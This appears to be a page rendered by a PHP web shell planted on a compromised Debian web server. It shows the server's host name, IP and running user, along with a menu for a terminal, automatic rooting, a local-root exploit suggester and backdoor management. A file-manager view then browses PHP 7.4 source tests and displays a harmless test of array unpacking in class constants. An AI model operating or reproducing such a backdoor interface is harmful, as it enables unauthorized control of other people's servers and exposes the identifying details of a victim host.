Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
Zend /
tests /
array_unpack /
Delete
Unzip
Name
Size
Permission
Date
Action
already_occupied.phpt
884
B
-rw-rw-r--
2022-10-31 11:36
basic.phpt
1.23
KB
-rw-rw-r--
2022-10-31 11:36
classes.phpt
623
B
-rw-rw-r--
2022-10-31 11:36
in_destructuring.phpt
212
B
-rw-rw-r--
2022-10-31 11:36
non_integer_keys.phpt
294
B
-rw-rw-r--
2022-10-31 11:36
ref1.phpt
273
B
-rw-rw-r--
2022-10-31 11:36
string_keys.phpt
451
B
-rw-rw-r--
2022-10-31 11:36
undef_var.phpt
281
B
-rw-rw-r--
2022-10-31 11:36
unpack_invalid_type_compile_time.phpt
192
B
-rw-rw-r--
2022-10-31 11:36
unpack_string_keys_compile_time.phpt
187
B
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- Array unpacking with classes --FILE-- <?php class C { public const FOO = [0, ...self::ARR, 4]; public const ARR = [1, 2, 3]; public static $bar = [...self::ARR]; } class D { public const A = [...self::B]; public const B = [...self::A]; } var_dump(C::FOO); var_dump(C::$bar); try { var_dump(D::A); } catch (Error $ex) { echo "Exception: " . $ex->getMessage() . "\n"; } --EXPECT-- array(5) { [0]=> int(0) [1]=> int(1) [2]=> int(2) [3]=> int(3) [4]=> int(4) } array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3) } Exception: Cannot declare self-referencing constant 'self::B'